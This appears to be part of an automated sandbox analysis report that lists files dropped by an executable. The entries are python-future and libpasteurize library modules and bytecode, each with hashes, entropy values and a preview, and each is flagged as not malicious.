MD5:	2679ED2960E21AB9F9E2FF21ED2652D0
SHA1:	AA7186B3392E624C31808FE38711997D7A58E60B
SHA-256:	052505487C577F6906BC7A33967AC1D679FA6CF13AA783E93770F003F67981EA
SHA-512:	DEBEEF26078B3A0C243AC1EE0A859355B119081B65B814577147E3E2646E3689DF3110FBD6ACE2B3C77AD146B8D4DFBCB48732A03B84E04DA30E88C9B399B04F
Malicious:	false
Preview:	from __future__ import absolute_import.from future.utils import PY3.__future_module__ = True..if PY3:. from html import *.else:. # cgi.escape isn't good enough for the single Py3.3 html test to pass.. # Define it inline here instead. From the Py3.4 stdlib. Note that the. # html.escape() function from the Py3.3 stdlib is not suitable for use on. # Py2.x.. """. General functions for HTML manipulation.. """.. def escape(s, quote=True):. """. Replace special characters "&", "<" and ">" to HTML-safe sequences.. If the optional flag quote is true (the default), the quotation mark. characters, both double quote (") and single quote (') characters are also. translated.. """. s = s.replace("&", "&") # Must be done first!. s = s.replace("<", "<"). s = s.replace(">", ">"). if quote:. s = s.replace('"', """). s = s.replace('\'', "'"). return s.. __all

C:\Users\user\AppData\Local\Temp\_MEI73402\venv\Lib\site-packages\future\moves\html\pycache\init.cpython-310.pyc

Download File

Process:	C:\Users\user\AppData\Local\Temp\5GG.exe
File Type:	data
Category:	dropped
Size (bytes):	871
Entropy (8bit):	5.463660259431844
Encrypted:	false
SSDEEP:	12:CWlE/QT32uji++kjFKg4G/p55KRc3glrajvNFS+fOwoloHS6Eg1xzoffpIQaKJ0p:RlwuGejF6GTURPlerNI+2w4oE/CQ2p
MD5:	CF7A6FC9C69BAF761B88184D62DA4F08
SHA1:	35D21B51BD7AD0DC795BEDE26E8345D7801FFA28
SHA-256:	746B8CE86D6BB3D8416440DB590A1F293DA28A3869CB0D8611EFC74D69869784
SHA-512:	6A228F0A9204B7FC02FCBBC175EC7AE8A350E31578950AB509F4C7ABF391E3F61BFAB6F6C896F356D9790F225FEE36F4EEC74F931932E2284852ABA6EA40052D
Malicious:	false
Preview:	o.........e.........................@...sB...d.d.l.m.Z...d.d.l.m.Z...d.Z.e.r.d.d.l.T.d.S...d.d.d...Z.d.g.Z.d.S.)......)...absolute_import)...PY3T)...*c....................C...sD...\|...d.d...}.\|...d.d...}.\|...d.d...}.\|.r \|...d.d...}.\|...d.d...}.\|.S.).a..... Replace special characters "&", "<" and ">" to HTML-safe sequences.. If the optional flag quote is true (the default), the quotation mark. characters, both double quote (") and single quote (') characters are also. translated.. ..&z.&..<z.<..>z.>.."z."..'z.')...replace)...s..quote..r.....]...F:\python\1 .......\Cheat Checker\venv\Lib\site-packages\future/moves/html/__init__.py..escape....s..................r....N).T)...__future__r....Z.future.utilsr....Z.__future_module__..htmlr......__all__r....r....r....r......<module>....s....................

C:\Users\user\AppData\Local\Temp\_MEI73402\venv\Lib\site-packages\future\moves\http\pycache\cookiejar.cpython-310.pyc

Download File

Process:	C:\Users\user\AppData\Local\Temp\5GG.exe
File Type:	data
Category:	dropped
Size (bytes):	368
Entropy (8bit):	5.321125707706566
Encrypted:	false
SSDEEP:	6:y/GaelbskAacmqCX/DDE4bujiR5PnOZpMJQm5SRq+8k5GPkDHSC5EgTdArm8+dOA:CGaelQT5mqCXk4bujiUpIQL5rHS6Eg1n
MD5:	919DB73D785934820FE6EE2C9F60E22B
SHA1:	69C0E4898B4A0A3A12EBE4D0994780436B9CA71B
SHA-256:	382E38BFD832E4E09FABE3E09830C8100C2CA77E7EF864DED6C422C0AA19765D
SHA-512:	5BF8AD7FB89DB9E100E306A41B295A1D4ED64DEB097151F21BC83926F26212787D74C31A7335DB93D6F6C7689886E5693CF67187D95DB3BD83FD27AB0FF8D645
Malicious:	false
Preview:	o.........e.........................@...s8...d.d.l.m.Z...d.d.l.m.Z...e.r.d.d.l.T.d.S.d.Z.d.d.l.T.d.S.)......)...absolute_import)...PY3)...*TN)...__future__r....Z.future.utilsr......http.cookiejarZ.__future_module__..cookielib..r....r.....^...F:\python\1 .......\Cheat Checker\venv\Lib\site-packages\future/moves/http/cookiejar.py..<module>....s................

C:\Users\user\AppData\Local\Temp\_MEI73402\venv\Lib\site-packages\future\moves\http\pycache\cookies.cpython-310.pyc

Download File

Process:	C:\Users\user\AppData\Local\Temp\5GG.exe
File Type:	data
Category:	dropped
Size (bytes):	390
Entropy (8bit):	5.290103116428041
Encrypted:	false
SSDEEP:	12:CSaeiT5m9zvNuji7n5pIQYJuYHS6Eg13Za:sK9zVuG7QQYAYE2a
MD5:	4797D9351F532383EE002D49E9EED618
SHA1:	6EA3389C6A60EDEFD4EF6742CCB247432F5C5017
SHA-256:	BF194236B18E1E9386AB2361A518203E60FB814921CDCCD54D5DBCF636259738
SHA-512:	E90EEE09410C70E203B08D93CB55093CC3388A0445876FFC23D503CCFCEDB8B0C843357AC88809552B48AAE89F6CDD56A4BD590D0DD37540CD9F66E75D22D94B
Malicious:	false
Preview:	o.........e.........................@...sD...d.d.l.m.Z...d.d.l.m.Z...e.r.d.d.l.T.d.S.d.Z.d.d.l.T.d.d.l.m.Z...d.S.)......)...absolute_import)...PY3)...*T)...MorselN)...__future__r....Z.future.utilsr......http.cookiesZ.__future_module__..Cookier......r....r.....\...F:\python\1 .......\Cheat Checker\venv\Lib\site-packages\future/moves/http/cookies.py..<module>....s..................

C:\Users\user\AppData\Local\Temp\_MEI73402\venv\Lib\site-packages\future\moves\http\pycache\server.cpython-310.pyc

Download File

Process:	C:\Users\user\AppData\Local\Temp\5GG.exe
File Type:	data
Category:	dropped
Size (bytes):	585
Entropy (8bit):	5.411209114473237
Encrypted:	false
SSDEEP:	12:C4sG34T5mB2knI/nz9lPujivTCpIQzjT1IrZtAp/+HS6Eg1bVxhCn:MgxB7IbuG1QzEGsE8xhC
MD5:	1C833BC09E23F3A77FD605AE1285AC4E
SHA1:	002C45842D4EE11DC384C379B901DA3510772EFC
SHA-256:	AA202259CD229009BE7776BE8E699B3355A37330DF5E5444C7C785ED30473F13
SHA-512:	88EC167B24213140C5BE1427C6F11EC7016DF2545C756EFE40A9D909432B44D19A80950FF96366934CDE6B9DEE608AEAAEB301A88710A5EDA136309E0521A995
Malicious:	false
Preview:	o.........e^........................@...s....d.d.l.m.Z...d.d.l.m.Z...e.r.d.d.l.T.d.S.d.Z.d.d.l.T.d.d.l.T.d.d.l.T.z.d.d.l.m.Z...W.d.S...e.yH......z.d.d.l.m.Z...W.Y.d.S...e.yG......Y.Y.d.S.w.w.)......)...absolute_import)...PY3)...*T)..._url_collapse_path)..._url_collapse_path_splitN)...__future__r....Z.future.utilsr....Z.http.serverZ.__future_module__..BaseHTTPServer..CGIHTTPServer..SimpleHTTPServerr......ImportErrorr......r....r.....[...F:\python\1 .......\Cheat Checker\venv\Lib\site-packages\future/moves/http/server.py..<module>....s".....................................

C:\Users\user\AppData\Local\Temp\_MEI73402\venv\Lib\site-packages\libpasteurize\fixes\pycache\fix_kwargs.cpython-310.pyc

Download File

Process:	C:\Users\user\AppData\Local\Temp\5GG.exe
File Type:	data
Category:	dropped
Size (bytes):	3803
Entropy (8bit):	5.6354400090852685
Encrypted:	false
SSDEEP:	96:c0bFx7EHh4vle1dpSCju0O01H3eViJsqJOQr8i:cQ7EB4GpSmOCaQQi
MD5:	AE44760F1D5F6863A6CE4EFAFC6507CC
SHA1:	DA1B0C3011B24E5389BC14BE721192A695761DC1
SHA-256:	B08CB3E3DB2CE86A99A0C68A9D7D8FEB069C8250856C3ECFD1953A26FD547D2E
SHA-512:	B323163E927D204D8A4FAC84CDD80B56BF7CF1F62BA5177C627E09303B4FEF48A889C100A1C6C29C89340DAA2E1A7F26C989CAF9B164A06DC5069004135757D2
Malicious:	false
Preview:	o.........eg........................@...s....d.Z.d.d.l.m.Z...d.d.l.m.Z.m.Z.m.Z.m.Z.m.Z...d.d.l.m.Z.m.Z.m.Z...d.Z.d.Z.d.Z.d.Z.d.d...Z.e.f.d.d...Z.e.f.d.d...Z.G.d.d...d.e.j...Z.d.S.).zg.Fixer for Python 3 function parameter syntax.This fixer is rather sensitive to incorrect py3k syntax.......)...fixer_base)...token..String..Newline..Comma..Name)...indentation..suitify..DoubleStarz=%(name)s = %(kwargs)s['%(name)s']; del %(kwargs)s['%(name)s']z'if '%(name)s' in %(kwargs)s: %(assign)sz.else: %(name)s = %(default)sZ._3to2kwargsc....................c...s......\|.d...j.t.j.k.r.t.\|...d.k.s.J...d.}.t.\|...}.\|.\|.k.rb\|.\|...}.\|.j.}.\|.j.t.j.k.r-\|.d.7.}.q.\|.d.u.r9\|.j.t.j.k.r9d.S.\|.j.}.\|.j.}.\|.d.u.rQ\|.j.t.j.k.rQ\|.j.}.\|.d.7.}.n.d.}.\|.\|.f.V...\|.d.7.}.\|.\|.k.s.d.S.d.S.).z.. Generator that yields tuples of (name, default_value) for each parameter in the list. If no default is given, then it is default_value is None (not Leaf(token.NAME, 'None')). r..............N)...typer......STAR..lenZ.prev_sibli

C:\Users\user\AppData\Local\Temp\_MEI73402\venv\Lib\site-packages\libpasteurize\fixes\pycache\fix_memoryview.cpython-310.pyc

Download File

Process:	C:\Users\user\AppData\Local\Temp\5GG.exe
File Type:	data
Category:	dropped
Size (bytes):	943
Entropy (8bit):	5.312470554430125
Encrypted:	false
SSDEEP:	24:qiBUbarzW0VSUT5/NLtKg5uEPHAvBaEhX/FBNn:qcUmW0ZEzvBjhdn
MD5:	5B35F4B5630649729F27BFE8AB68A1A4
SHA1:	C71B171D95C9DE4E8F601EFA36340076C31AF4C6
SHA-256:	04BC740B224758144063036C00ADA7785AE3024EFAD1B5DA8CB1C30EF10C2C2D
SHA-512:	426A2969E211605BD12DA2617DABF0D5DF30235DCFE4C011E9E36041FBEB056CE4B37383EE3E55DA0639C64E52E5487C01A0D5D32DE64C9A9DD0CC129A1F2F65
Malicious:	false
Preview:	o.........e'........................@...s2...d.Z.d.d.l.m.Z...d.d.l.m.Z...G.d.d...d.e.j...Z.d.S.).zo.Fixer for memoryview(s) -> buffer(s)..Explicit because some memoryview methods are invalid on buffer objects.......)...fixer_base)...Namec....................@...s....e.Z.d.Z.d.Z.d.Z.d.d...Z.d.S.)...FixMemoryviewTzi. power< name='memoryview' trailer< '(' [any] ')' >. rest=any* >. c....................C...s ...\|.d...}.\|...t.d.\|.j.d.......d.S.).N..name..buffer)...prefix)...replacer....r....)...self..node..resultsr......r.....e...F:\python\1 .......\Cheat Checker\venv\Lib\site-packages\libpasteurize/fixes/fix_memoryview.py..transform....s........z.FixMemoryview.transformN)...__name__..__module__..__qualname__Z.explicitZ.PATTERNr....r....r....r....r....r........s............r....N)...__doc__Z.lib2to3r....Z.lib2to3.fixer_utilr....Z.BaseFixr....r....r....r....r......<module>....s............

C:\Users\user\AppData\Local\Temp\_MEI73402\venv\Lib\site-packages\libpasteurize\fixes\pycache\fix_metaclass.cpython-310.pyc

Download File

Process:	C:\Users\user\AppData\Local\Temp\5GG.exe
File Type:	data
Category:	dropped
Size (bytes):	2045
Entropy (8bit):	5.589587699048704
Encrypted:	false
SSDEEP:	48:KV2kSgrEXJ5DmzrBcIDDSZXlq0MtsH4JEA4sbZit3OLbyGYC4wtUcOo:KVhSJw6I6pU0Usa4Z+L+Gh41cOo
MD5:	9818D109D2752987893B7E18F5BEBDFD
SHA1:	A1F11182C570279B8B700078EA32886EEFCA2F1E
SHA-256:	39CE0D6CCA43DC0FE7F20D89D56F1D1A5C5B833219BB7DD18F183CCDF8382719
SHA-512:	B8EB6B5C9ABBD2AF78CD9E294C5349EA4B758BB1588E1FBF7FD4628DA5BEE242E15D32A5AB352E08FBC17F22FED7B6EEB9A60D45197731506712189D93C52995
Malicious:	false
Preview:	o.........e.........................@...sj...d.Z.d.d.l.m.Z...d.d.l.m.Z.m.Z.m.Z.m.Z.m.Z.m.Z...d.d.l.m.Z...d.d.l.m.Z.m.Z...d.d...Z.G.d.d...d.e.j...Z.d.S.).zn.Fixer for (metaclass=X) -> __metaclass__ = X.Some semantics (see PEP 3115) may be altered in the translation......)...fixer_base)...Name..syms..Node..Leaf..Newline..find_root)...token)...indentation..suitifyc....................C...s....d.}.\|.j.D.]}}.\|.j.}.\|.j.t.j.k.r1\|.d...t.t.j.d...k.r0\|.d...t.t.j.d...k.r0\|.d...r0\|.g.\|...}...\|.S.q.\|.j.t.j.k.r.\|.j.D.]G}.\|.r@..nB\|.j.t.j.k.rI\|.}.q:t.\|...t.k.r.d...}...}.}.\|.j.D.](}.\|.t.t.j.d...k.re\|.}.qX\|.rr\|.t.t.j.d...k.rr\|.}.qX\|.r.\|.r.\|.}.\|.\|.\|.\|.f.}...n.qXq:q.\|.S.).Nr......metaclass.......=.....)...children..typer....Z.argumentr....r......NAME..EQUALZ.arglist..COMMAr....)...parent..results..nodeZ.kids..child..comma..meta..equal..name..arg..r.....d...F:\python\1 .......\Cheat Checker\venv\Lib\site-packages\libpasteurize/fixes/fix_metaclass.py..has_metaclass....s>.............................

C:\Users\user\AppData\Local\Temp\_MEI73402\venv\Lib\site-packages\libpasteurize\fixes\pycache\fix_newstyle.cpython-310.pyc

Download File

Process:	C:\Users\user\AppData\Local\Temp\5GG.exe
File Type:	data
Category:	dropped
Size (bytes):	1228
Entropy (8bit):	5.3471182761123455
Encrypted:	false
SSDEEP:	24:hpWkMXfcVwGaTkhEdxQR6NpbtMJAKvezC7/X/oOfAzqb:hp5ocVg/xQgfxkLmzC7/wKOc
MD5:	3E2D9EEAD82D9D858FDCE107623A2C39
SHA1:	2B540ACC2515AAA5C5C1B1D1CF762542EF672C09
SHA-256:	104CE12E61A7BC37F0E94C57FCEA56D7399B18D90D94EC5DADC065007E6B9285
SHA-512:	6B2ABDB803A0E4C2BE539CFB6E91022E49D00A84A54C421C7820D2547F5180ACFB7CCE4991546B1452C103F744A1A5008CA51A43666742AA7CC8ADB2B81A5917
Malicious:	false
Preview:	o.........ex........................@...sN...d.Z.d.d.l.m.Z...d.d.l.m.Z.m.Z.m.Z...d.d.l.m.Z...d.d...Z.G.d.d...d.e.j...Z.d.S.).z8.Fixer for "class Foo: ..." -> "class Foo(object): ..."......)...fixer_base)...LParen..RParen..Name)...touch_import_topc....................C...s0...\|...\|.t.......\|...\|.t.d.......\|...\|.t.......d.S.).N..object).Z.insert_childr....r....r....)...node..idx..r.....c...F:\python\1 .......\Cheat Checker\venv\Lib\site-packages\libpasteurize/fixes/fix_newstyle.py..insert_object....s..........r....c....................@...s....e.Z.d.Z.d.Z.d.d...Z.d.S.)...FixNewstylez0classdef< 'class' NAME ['(' ')'] colon=':' any >c....................C...sn...\|.d...}.\|.j...\|...}.\|.j.\|.d.....j.d.k.r\|.j.\|.d.....j.d.k.r\|.j.\|.d...\|...=.\|.d.8.}.t.\|.\|.....t.d.d.\|.....d.S.).N..colon.......(.......)..builtinsr....)...children..index..valuer....r....)...selfr......resultsr....r....r....r....r......transform....s......................z.FixNewstyle.transformN)...__name__..__module__..__q

C:\Users\user\AppData\Local\Temp\_MEI73402\venv\Lib\site-packages\libpasteurize\fixes\pycache\fix_next.cpython-310.pyc

Download File

Process:	C:\Users\user\AppData\Local\Temp\5GG.exe
File Type:	data
Category:	dropped
Size (bytes):	1565
Entropy (8bit):	5.429473605127607
Encrypted:	false
SSDEEP:	24:PI0DIB9tIBjkx8tFX2MGY6NaUbE5vesY6TmxkTZcsKmt+C9qkKB2EdXkeCpcS7yp:PBD6tnx8tIBN/beeiTjcsjAEa0eCRg
MD5:	0B0C43A2F39CC2093C18B4959FCDC50B
SHA1:	2AA8E0F97DB7DB123F38F756AC0313C57EF31C6B
SHA-256:	247900EF27B992D378DC3E6C3D36AB3F04EFF548A9B666FEA007BC2DAC713B48
SHA-512:	B3E69F2043E2FC051EA1EBA4DA1BA232FDD8C4AA1DE0AB01A086702E1F2B9D675D524315AA29A5A4A54AFFA9E0D8610096CD5779B2057AC734868EF43D4E5CBC
Malicious:	false
Preview:	o.........e.........................@...sZ...d.Z.d.d.l.m.Z...d.d.l.m.Z...d.d.l.m.Z...d.d.l.m.Z.m.Z.m.Z.m.Z...d.Z.G.d.d...d.e.j...Z.d.S.).z?.Fixer for:.it.__next__() -> it.next()..next(it) -> it.next().......)...token)...python_symbols)...fixer_base)...Name..Call..find_binding..Attrz;Calls to builtin next() possibly shadowed by global bindingc....................@...s....e.Z.d.Z.d.Z.d.d...Z.d.S.)...FixNextas.... power< base=any+ trailer< '.' attr='__next__' > any* >. \|. power< head='next' trailer< '(' arg=any ')' > any* >. \|. classdef< 'class' base=any+ ':'. suite< any. funcdef< 'def'. attr='__next__'. parameters< '(' NAME ')' > any+ >. any > >. c....................C...s....\|.s.J...\|...d...}.\|...d...}.\|...d...}.\|...d...}.\|.r5\|.....}.\|...t.t.t.\|...\|.j.d...t.d.........\|.......d.S.\|.rC\|...t.d.\|.j.d.......d.S.d.S.).N..base..attr..head..arg)...prefix..next)...g

C:\Users\user\AppData\Local\Temp\_MEI73402\venv\Lib\site-packages\libpasteurize\fixes\pycache\fix_printfunction.cpython-310.pyc

Download File

Process:	C:\Users\user\AppData\Local\Temp\5GG.exe
File Type:	data
Category:	dropped
Size (bytes):	816
Entropy (8bit):	5.217278985680524
Encrypted:	false
SSDEEP:	24:PsuiDd+XdEP07BtAMmWwtEGnv2yoCcGvEhX/FObu:PsuudcF0Mev6CczhNUu
MD5:	BDD3C82C7A2D6D4BEFDB1A0369A2F20F
SHA1:	9579A34938CFD07227D00AA208152E0A6A0C2857
SHA-256:	99B7560C1534D5DD3831CE03CA0ED14F36A8287B2295BDBF85608AE06B7704B9
SHA-512:	6648F9071E6104F75C8C9997CB6D4BDA43C2634D4DA806201DB32B74699C3FC238844CB98B50F97D1CAC984AC55E1501E60558919D4C12AEB07AF25F8D3CB318
Malicious:	false
Preview:	o.........e.........................@...s2...d.Z.d.d.l.m.Z...d.d.l.m.Z...G.d.d...d.e.j...Z.d.S.).z9.Fixer for print: from __future__ import print_function.......)...fixer_base....future_importc....................@...s....e.Z.d.Z.d.Z.d.d...Z.d.S.)...FixPrintfunctionzL. power< 'print' trailer < '(' any* ')' > any* >. c....................C...s....t.d.\|.....d.S.).N..print_functionr....)...self..node..results..r.....h...F:\python\1 .......\Cheat Checker\venv\Lib\site-packages\libpasteurize/fixes/fix_printfunction.py..transform....s......z.FixPrintfunction.transformN)...__name__..__module__..__qualname__Z.PATTERNr....r....r....r....r....r........s..........r....N)...__doc__Z.lib2to3r....Z.libfuturize.fixer_utilr....Z.BaseFixr....r....r....r....r......<module>....s............

C:\Users\user\AppData\Local\Temp\_MEI73402\venv\Lib\site-packages\libpasteurize\fixes\pycache\fix_raise.cpython-310.pyc

Download File

Process:	C:\Users\user\AppData\Local\Temp\5GG.exe
File Type:	data
Category:	dropped
Size (bytes):	1364
Entropy (8bit):	5.557718741960155
Encrypted:	false
SSDEEP:	24:DkaOw1T02vXh7FpU/oqk6pL0KydewxXesQQkA8m7E78u2GCfrX/oOHOsn:DkX2/hioU0KydeMXAxmKCfrw5G
MD5:	532E1BAF79EF5C3B0B434CEA7C78CBDA
SHA1:	B71F1C74A373BBADA59CDF1D2A8A14EF47B2DACE
SHA-256:	52B46F63B7FE921C5E14E20709B803AD3231BBAE96AA6D3BEAE496FB2BC2C4FF
SHA-512:	1154CAED5C4CBACE16CEEF6A71E279F7100C3AAB887B44CCD2D028B8AF502E7DB784CA744983D1E10B575236D669FE531A9B83EA366C12E9DC5295A04D1B6C79
Malicious:	false
Preview:	o.........eK........................@...sB...d.Z.d.d.l.m.Z...d.d.l.m.Z.m.Z.m.Z.m.Z.m.Z...G.d.d...d.e.j...Z.d.S.).z;Fixer for 'raise E(V).with_traceback(T)' -> 'raise E, V, T'.....)...fixer_base)...Comma..Node..Leaf..token..symsc....................@...s....e.Z.d.Z.d.Z.d.d...Z.d.S.)...FixRaisez.. raise_stmt< 'raise' (power< name=any [trailer< '(' val=any* ')' >]. [trailer< '.' 'with_traceback' > trailer< '(' trc=any ')' >] > \| any) ['from' chain=any] >c....................C...s....\|...d...\|...d...\|...d.......}.}.}.\|...d...}.\|.d.u.r)\|...\|.d.....\|.j.......\|.......\|.d.u.r`\|.r3\|.d...n.t.t.j.d...}.d...\|._.\|._.t.t.j.d...\|.....t...\|.....t...\|.....g.}.t.t.j.\|...}.\|...\|.....d.S.d.S.).N..name..val..trc..chainz8explicit exception chaining is not supported in Python 2r......None.. ..raise)...get..warningZ.prev_sibling..remover....r......NAME..prefix..cloner....r....r......raise_stmt..replace)...self..node..resultsr....r....r....r....Z.kidsr......r.....`...F:\python\1 .......\Cheat

C:\Users\user\AppData\Local\Temp\_MEI73402\venv\Lib\site-packages\libpasteurize\fixes\pycache\fix_raise_.cpython-310.pyc

Download File

Process:	C:\Users\user\AppData\Local\Temp\5GG.exe
File Type:	data
Category:	dropped
Size (bytes):	1490
Entropy (8bit):	5.566922636972575
Encrypted:	false
SSDEEP:	24:X9kanXZwIAxH02vXh7FpU/oqkms6G4xfvEewxXejQQkA8yoEYwqj2GCSsX/oOHkl:Nkgxz2/hioyGVeMXbxyawq1CSswJl
MD5:	05EABD52751181ECC9389EB69954E57F
SHA1:	6A617F9461E6DCD2E1611C263506438C1B4D9512
SHA-256:	ED858776A607D0CE138F28CABC4F08221904C949913CCF602D307828EB5A4EDE
SHA-512:	101C6134A9889DB5997C99FA49B6248DB4C25EDA124AB59B40750971924C3FC893D2EABDA3091E95C0DD5C9DB0091B8A71145D9085FCFE7E71C59313D76C72AF
Malicious:	false
Preview:	o.........e.........................@...sB...d.Z.d.d.l.m.Z...d.d.l.m.Z.m.Z.m.Z.m.Z.m.Z...G.d.d...d.e.j...Z.d.S.).z.Fixer for. raise E(V).with_traceback(T). to:. from future.utils import raise_. .... raise_(E, V, T)..TODO: FIXME!!.......)...fixer_base)...Comma..Node..Leaf..token..symsc....................@...s....e.Z.d.Z.d.Z.d.d...Z.d.S.)...FixRaisez.. raise_stmt< 'raise' (power< name=any [trailer< '(' val=any* ')' >]. [trailer< '.' 'with_traceback' > trailer< '(' trc=any ')' >] > \| any) ['from' chain=any] >c....................C...s....t...\|...d...\|...d...\|...d.......}.}.}.\|...d...}.\|.d.u.r+\|...\|.d.....\|.j.......\|.......\|.d.u.rb\|.r5\|.d...n.t.t.j.d...}.d...\|._.\|._.t.t.j.d...\|.....t...\|.....t...\|.....g.}.t.t.j.\|...}.\|...\|.....d.S.d.S.).N..name..val..trc..chainz8explicit exception chaining is not supported in Python 2r......None.. ..raise)...FIXME..get..warningZ.prev_sibling..remover....r......NAME..prefix..cloner....r....r

C:\Users\user\AppData\Local\Temp\_MEI73402\venv\Lib\site-packages\libpasteurize\fixes\pycache\fix_throw.cpython-310.pyc

Download File

Process:	C:\Users\user\AppData\Local\Temp\5GG.exe
File Type:	data
Category:	dropped
Size (bytes):	1217
Entropy (8bit):	5.526984257180275
Encrypted:	false
SSDEEP:	24:cu7Uw1GOZ0K+iUF8qU/TCAsn2mJoKEQYvvCRX/+HzaL:cwJ+ivF2HvYvvCR++
MD5:	6524FDCF385FD4FC12C05C17A0820043
SHA1:	27325EAF2181575C4F2F6489E3B64094F8BE7523
SHA-256:	C5898D27858B6AE34F3BD0CE2D96507A86859AE91166E6494BF1E3CBD13536F8
SHA-512:	E57F6F30D1D7C96915050AEEC8F503FE01A6211DC4EBC9BACB5F46E43CB760017C7A5C494CB0D46D2BBD5C2DDC6F104EB09CC02FC4C356C71A9DCD3BE68F91F3
Malicious:	false
Preview:	o.........eC........................@...sN...d.Z.d.d.l.m.Z...d.d.l.m.Z.m.Z...d.d.l.m.Z...d.d.l.m.Z...G.d.d...d.e.j...Z.d.S.).zAFixer for 'g.throw(E(V).with_traceback(T))' -> 'g.throw(E, V, T)'.....)...fixer_base)...Node..Leaf)...token)...Commac....................@...s....e.Z.d.Z.d.Z.d.d...Z.d.S.)...FixThrowz.. power< any trailer< '.' 'throw' >. trailer< '(' args=power< exc=any trailer< '(' val=any* ')' >. trailer< '.' 'with_traceback' > trailer< '(' trc=any ')' > > ')' > >. c....................C...sv...\|.j.}.\|.d...\|.d...\|.d.......}.}.}.\|.r.\|.d...n.t.t.j.d...}.d...\|._.\|._.\|.....t...\|.....t...\|.....g.}.\|.d...}.\|.\|._.d.S.).N..exc..val..trcr......None.. ..args)...symsr....r......NAME..prefix..cloner......children)...self..node..resultsr....r....r....r....Z.kidsr......r.....`...F:\python\1 .......\Cheat Checker\venv\Lib\site-packages\libpasteurize/fixes/fix_throw.py..transform....s..................z.FixThrow.transformN)...__name__..__module__..__qualname__Z.PA

C:\Users\user\AppData\Local\Temp\_MEI73402\venv\Lib\site-packages\libpasteurize\fixes\pycache\fix_unpacking.cpython-310.pyc

Download File

Process:	C:\Users\user\AppData\Local\Temp\5GG.exe
File Type:	data
Category:	dropped
Size (bytes):	5553
Entropy (8bit):	5.468247002924295
Encrypted:	false
SSDEEP:	96:U1BP240YdtyM/kKR5SfQGLFPJg6IMpqW+u1kGpQtjF/LULQhmNj:oP240Y/rshlJ42+hjFL8fNj
MD5:	26C06C19D3CFE11FEB8C284D1888885B
SHA1:	7AB220D98103FCFCD886C28F6BCF0791459CB2B2
SHA-256:	9278DA0D0D8D923FCB77C59775EC950C6B02C1C47D43117A7A314C8A8043E930
SHA-512:	36F52A59E2AE64BC8504416510564287C268A32218DD30B400B437E0A600AF4318916D2376D09D73B28E9AA494E5D1C243117E23CB90ACCD23C6774D0984A4CE
Malicious:	false
Preview:	o.........e:........................@...s~...d.Z.d.d.l.m.Z...d.d.l.m.Z...d.d.l.m.Z.m.Z.m.Z.m.Z.m.Z.m.Z.m.Z.m.Z.m.Z.m.Z...d.d.l.m.Z.m.Z.m.Z...d.d...Z.G.d.d...d.e.j...Z.d.S.).zD.Fixer for:.(a,)* b (,c) [,] = s.for (a,)* b (,c) [,] in d: .........)...fixer_base)...count)...Assign..Comma..Call..Newline..Name..Number..token..syms..Node..Leaf)...indentation..suitify..commatizec....................C...s....g.}.t.\|...}.t.\|...}.\|.d.k.rCt.t.j.t.\|...t.t.j.t.t.j.d...t.t.j.t.t.j.d...t.\|...g...t.t.j.d...g...g...}.\|...\|.....\|...t.t.j.d.d.d.......t.t.j.t.t.j.d.d.d...t.\|...t.t.j.t.t.j.d...t.t.j.\|.d.k.rct.\|...n.t.d.d...t.t.j.d...\|.d.k.r~t.t.j.t.t.j.d...t.\|...g...n.t.d.d...g...t.t.j.d...t.t.j.d...g...g...}.\|...\|.....\|.d.k.r.\|...t.t.j.d.d.d.......t.t.j.t.\|.d.d...t.t.j.t.t.j.d...t.t.j.t.t.j.t.t.j.d...t.\|...g...t.t.j.d...g...t.t.j.d...g...g...}.\|...\|.....t.t.j.\|...}.\|.S.).z.. Accepts num_pre and num_post, which are counts of values. before and after the starg (not including the starg). Returns

C:\Users\user\AppData\Local\Temp\_MEI73402\venv\Lib\site-packages\libpasteurize\fixes\feature_base.py

Download File

Process:	C:\Users\user\AppData\Local\Temp\5GG.exe
File Type:	Python script, ASCII text executable
Category:	dropped
Size (bytes):	1723
Entropy (8bit):	4.536066543803979
Encrypted:	false
SSDEEP:	24:1h1xUqclWSwA2qBXGDXxrAB1fmEoHKMw5AtrHlqEv5qu3Qoi/HSou1PytvXE:1hAqhA2cXGLxrKmEoztrHl0umqouiv0
MD5:	1ABCD801CAD7CD3092F825A361F26DF7
SHA1:	387859D20ECFA66C03A30ADC1E147DCD87C63B63
SHA-256:	BFBC8B8C10C150F78D51CF981C61A522C243390CC500CE15A3444DE45D491D55
SHA-512:	78255F2B559403C59922C720CBC4AE5D6653EAD3C9A857BEAB53B14D13380543155587283CAAD4353AA894E364E70C75BB99E156D91E9BD978B07044E5EC28B7
Malicious:	false
Preview:	u""".Base classes for features that are backwards-incompatible...Usage:.features = Features().features.add(Feature("py3k_feature", "power< 'py3k' any* >", "2.7")).PATTERN = features.PATTERN."""..pattern_unformatted = u"%s=%s" # name=pattern, for dict lookups.message_unformatted = u""".%s is only supported in Python %s and above."""..class Feature(object):. u""". A feature has a name, a pattern, and a minimum version of Python 2.x. required to use the feature (or 3.x if there is no backwards-compatible. version of 2.x). """. def __init__(self, name, PATTERN, version):. self.name = name. self._pattern = PATTERN. self.version = version.. def message_text(self):. u""". Format the above text with the name and minimum version required.. """. return message_unformatted % (self.name, self.version)..class Features(set):. u""". A set of features that generates a pattern for the features it contains.. This set will act

C:\Users\user\AppData\Local\Temp\_MEI73402\venv\Lib\site-packages\libpasteurize\fixes\fix_add_allfutureimports.py

Download File

Process:	C:\Users\user\AppData\Local\Temp\5GG.exe
File Type:	Python script, ASCII text executable
Category:	dropped
Size (bytes):	676
Entropy (8bit):	4.575094570544713
Encrypted:	false
SSDEEP:	12:x5jChjK/jPRjYa4JbAQu8u4Hlq+bNp5eQ4oIqeDhGkw+JN+UJPoUJ5UJwMJAQv:x52hIt8lVgonb9b4lqGhT3JN+UJwUJ52
MD5:	68F5201FB8EAD8130E483343890BC028
SHA1:	78F51AB56BF019A1C2DD6E8E8682FA77BB0328B8
SHA-256:	9877ADD4B81B1E7F467E009818D6572A8FABB1E0D6ADE02F51C0236707607931
SHA-512:	3FE79520C61161EB1F561B05880936946520B074BB790EE9E1B6677CCA15BD289B71951A9908E527ACF52AC4738024D45144B47FE995C3323B88B188CF2CB4B8
Malicious:	false
Preview:	""".Fixer for adding:.. from __future__ import absolute_import. from __future__ import division. from __future__ import print_function. from __future__ import unicode_literals..This is done when converting from Py3 to both Py3/Py2.."""..from lib2to3 import fixer_base.from libfuturize.fixer_util import future_import..class FixAddAllFutureImports(fixer_base.BaseFix):. BM_compatible = True. PATTERN = "file_input". run_order = 1.. def transform(self, node, results):. future_import(u"absolute_import", node). future_import(u"division", node). future_import(u"print_function", node). future_import(u"unicode_literals", node).

